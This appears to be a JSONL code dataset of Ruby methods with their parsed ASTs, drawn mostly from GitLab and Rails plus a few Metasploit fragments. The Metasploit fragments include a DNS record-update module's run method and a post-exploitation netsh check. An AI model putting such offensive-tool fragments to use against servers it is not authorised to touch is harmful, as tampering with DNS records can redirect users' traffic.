{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/helpers/commits_helper_spec.rb","start_line":335,"raw_source":"def standard_expected_data\n      {\n        new_project_tag_path: new_project_tag_path(project, ref: commit),\n        email_patches_path: project_commit_path(project, commit, format: :patch),\n        plain_diff_path: project_commit_path(project, commit, format: :diff),\n        can_revert: 'true',\n        can_cherry_pick: 'true',\n        can_tag: 'true',\n        can_email_patches: 'true'\n      }\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"standard_expected_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_project_tag_path\"]},{\"type\":\"send\",\"children\":[null,\"new_project_tag_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"commit\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email_patches_path\"]},{\"type\":\"send\",\"children\":[null,\"project_commit_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain_diff_path\"]},{\"type\":\"send\",\"children\":[null,\"project_commit_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"diff\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_revert\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_cherry_pick\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_tag\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_email_patches\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}","id":"b4923050-1da2-4121-9429-6d69c4ac7bae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/dns/dyn_dns_update.rb","start_line":152,"raw_source":"def run\n    ip = datastore['IP']\n    value = datastore['VALUE']\n    case datastore['TYPE']\n    when 'A'\n      update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')\n    when 'AAAA'\n      update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')\n    when 'CNAME'\n      update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')\n    when 'TXT'\n      update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')\n    else\n      print_error 'Invalid Record Type!'\n    end\n  rescue ArgumentError => e\n    print_error(e.message)\n  rescue Dnsruby::OtherResolvError\n    print_error('Connection Refused!')\n  rescue Dnsruby::DecodeError\n    print_error('Invalid DNS reply, ensure you are connecting to a DNS server')\n  end","complexity_score":36.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ip\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"IP\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VALUE\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TYPE\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"send\",\"children\":[null,\"update_record\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"A\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_enum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dnsruby\"]},\"Types\"]},\"A\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_name\"]},{\"type\":\"str\",\"children\":[\"IP\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"AAAA\"]},{\"type\":\"send\",\"children\":[null,\"update_record\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"AAAA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_enum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dnsruby\"]},\"Types\"]},\"AAAA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_name\"]},{\"type\":\"str\",\"children\":[\"IP\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"CNAME\"]},{\"type\":\"send\",\"children\":[null,\"update_record\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"CNAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_enum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dnsruby\"]},\"Types\"]},\"CNAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_name\"]},{\"type\":\"str\",\"children\":[\"VALUE\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"TXT\"]},{\"type\":\"send\",\"children\":[null,\"update_record\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"TXT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_enum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dnsruby\"]},\"Types\"]},\"TXT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_name\"]},{\"type\":\"str\",\"children\":[\"VALUE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Invalid Record Type!\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dnsruby\"]},\"OtherResolvError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Connection Refused!\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dnsruby\"]},\"DecodeError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Invalid DNS reply, ensure you are connecting to a DNS server\"]}]}]},null]}]}","id":"9286f7ca-cfaf-4437-b49d-3ed9d9c5a3b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/harbor/client_spec.rb","start_line":324,"raw_source":"def stub_harbor_request(url, body: {}, status: 200, headers: {})\n    stub_request(:get, url)\n      .to_return(\n        status: status,\n        headers: { 'Content-Type' => 'application/json' }.merge(headers),\n        body: body.to_json\n      )\n  end","complexity_score":4.85,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_harbor_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"kwoptarg\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"kwoptarg\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"to_json\"]}]}]}]}]}","id":"10cc3319-ea2d-4769-a09a-4d04407e7dd9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/sessions_controller.rb","start_line":275,"raw_source":"def valid_otp_attempt?(user)\n    otp_validation_result =\n      ::Users::ValidateManualOtpService.new(user).execute(user_params[:otp_attempt])\n    return true if otp_validation_result[:status] == :success\n\n    user.invalidate_otp_backup_code!(user_params[:otp_attempt])\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_otp_attempt?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"otp_validation_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Users\"]},\"ValidateManualOtpService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"otp_attempt\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otp_validation_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"invalidate_otp_backup_code!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"otp_attempt\"]}]}]}]}]}","id":"3830cc78-6149-46de-8de3-78587b62d18d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/deprecation/proxy_wrappers_test.rb","start_line":25,"raw_source":"def test_deprecated_instance_variable_proxy_doesnt_wrap_falsy_objects\n    proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(nil, :waffles)\n    assert_not proxy\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deprecated_instance_variable_proxy_doesnt_wrap_falsy_objects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"proxy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Deprecation\"]},\"DeprecatedInstanceVariableProxy\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"waffles\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"lvar\",\"children\":[\"proxy\"]}]}]}]}","id":"9f414849-77df-4ff0-9715-9a4f6a73b8ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/notes_finder.rb","start_line":182,"raw_source":"def sort(notes)\n    sort = @params[:sort].presence\n\n    return notes.order_created_at_id_asc unless sort\n\n    notes.order_by(sort)\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"sort\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sort\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},\"presence\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"order_created_at_id_asc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"order_by\",{\"type\":\"lvar\",\"children\":[\"sort\"]}]}]}]}","id":"7315c2f4-7696-4833-a791-65f03567847b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/bundler-checksum/lib/bundler_checksum/command/verify.rb","start_line":33,"raw_source":"def validate_gem_checksum(gem_name, gem_version, gem_platform, local_checksum)\n      remote_checksums = Helper.remote_checksums_for_gem(gem_name, gem_version)\n      if remote_checksums.empty?\n        $stderr.puts \"#{gem_name} #{gem_version} not found on Rubygems, skipping\"\n        return false\n      end\n\n      remote_platform_checksum = remote_checksums.find { |g| g[:name] == gem_name && g[:platform] == gem_platform.to_s }\n\n      if local_checksum == remote_platform_checksum[:checksum]\n        true\n      else\n        $stderr.puts \"Gem #{gem_name} #{gem_version} #{gem_platform} failed checksum verification\"\n        $stderr.puts \"LOCAL:  #{local_checksum}\"\n        $stderr.puts \"REMOTE: #{remote_platform_checksum[:checksum]}\"\n        return false\n      end\n    end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_gem_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gem_name\"]},{\"type\":\"arg\",\"children\":[\"gem_version\"]},{\"type\":\"arg\",\"children\":[\"gem_platform\"]},{\"type\":\"arg\",\"children\":[\"local_checksum\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remote_checksums\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"remote_checksums_for_gem\",{\"type\":\"lvar\",\"children\":[\"gem_name\"]},{\"type\":\"lvar\",\"children\":[\"gem_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_checksums\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gem_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gem_version\"]}]},{\"type\":\"str\",\"children\":[\" not found on Rubygems, skipping\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"remote_platform_checksum\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_checksums\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"g\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"gem_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gem_platform\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_checksum\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_platform_checksum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"checksum\"]}]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Gem \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gem_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gem_version\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gem_platform\"]}]},{\"type\":\"str\",\"children\":[\" failed checksum verification\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LOCAL:  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_checksum\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"REMOTE: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_platform_checksum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"checksum\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"0e5281e0-d71d-406f-b30e-e5523ba314dc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/view.rb","start_line":119,"raw_source":"def font_or_default(cut, default)\n    cut.present? && cut.local_file.present? ? cut.local_file : default\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"font_or_default\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cut\"]},{\"type\":\"arg\",\"children\":[\"default\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cut\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cut\"]},\"local_file\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cut\"]},\"local_file\"]},{\"type\":\"lvar\",\"children\":[\"default\"]}]}]}","id":"a36c6f3d-f786-4bba-b845-7cf272d0b516"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/call_data.rb","start_line":123,"raw_source":"def encode_operation\n            [operation].pack('l>')\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_operation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operation\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"l>\"]}]}]}","id":"522a583f-620d-456a-b43c-377e2e6491b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gettext/static_identifier.rb","start_line":62,"raw_source":"def valid_argument?(node)\n          return false unless node\n\n          basic_type?(node) || multiline_string?(node) || allowed_method_call?(node)\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_argument?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"basic_type?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"multiline_string?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"allowed_method_call?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"43f95ad5-10cc-4aec-a261-9b433caf8621"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/portproxy.rb","start_line":91,"raw_source":"def ipv6_installed\n    output = cmd_exec('netsh', 'interface ipv6 show interface')\n    if output.lines.count > 2\n      return true\n    else\n      return false\n    end\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"ipv6_installed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"netsh\"]},{\"type\":\"str\",\"children\":[\"interface ipv6 show interface\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"lines\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"78bc94a4-0165-4743-9dea-eeb9673cdca0"}
{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/test/lib/zeitwerk/test_ruby_compatibility.rb","start_line":22,"raw_source":"def require(path)\n            $trc_require_has_been_called = true if path == $trc_autoload_path\n            trc_original_require(path)\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"require\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"==\",{\"type\":\"gvar\",\"children\":[\"$trc_autoload_path\"]}]},{\"type\":\"gvasgn\",\"children\":[\"$trc_require_has_been_called\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"trc_original_require\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"c37c0e4d-bc73-4342-a4a7-28bea4139d17"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/client_socket.rb","start_line":19,"raw_source":"def self.secure_request?(env)\n        return true if env[\"HTTPS\"] == \"on\"\n        return true if env[\"HTTP_X_FORWARDED_SSL\"] == \"on\"\n        return true if env[\"HTTP_X_FORWARDED_SCHEME\"] == \"https\"\n        return true if env[\"HTTP_X_FORWARDED_PROTO\"] == \"https\"\n        return true if env[\"rack.url_scheme\"] == \"https\"\n\n        false\n      end","complexity_score":16.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"secure_request?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTPS\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"on\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_X_FORWARDED_SSL\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"on\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_X_FORWARDED_SCHEME\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_X_FORWARDED_PROTO\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.url_scheme\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"98ed12f4-5974-4333-876a-a78054a4320a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_gists_import/importer/gists_importer.rb","start_line":83,"raw_source":"def expire_already_imported_cache!\n          Gitlab::Cache::Import::Caching\n            .expire(already_imported_cache_key, Gitlab::Cache::Import::Caching::SHORTER_TIMEOUT)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expire_already_imported_cache!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Cache\"]},\"Import\"]},\"Caching\"]},\"expire\",{\"type\":\"send\",\"children\":[null,\"already_imported_cache_key\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Cache\"]},\"Import\"]},\"Caching\"]},\"SHORTER_TIMEOUT\"]}]}]}","id":"03c30197-3e8d-42c5-b252-276f879b3528"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/integration.rb","start_line":803,"raw_source":"def chat?\n        category == :chat\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"chat?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"category\"]},\"==\",{\"type\":\"sym\",\"children\":[\"chat\"]}]}]}","id":"f1006e26-b170-4a21-9a44-8ec6eebf0272"}
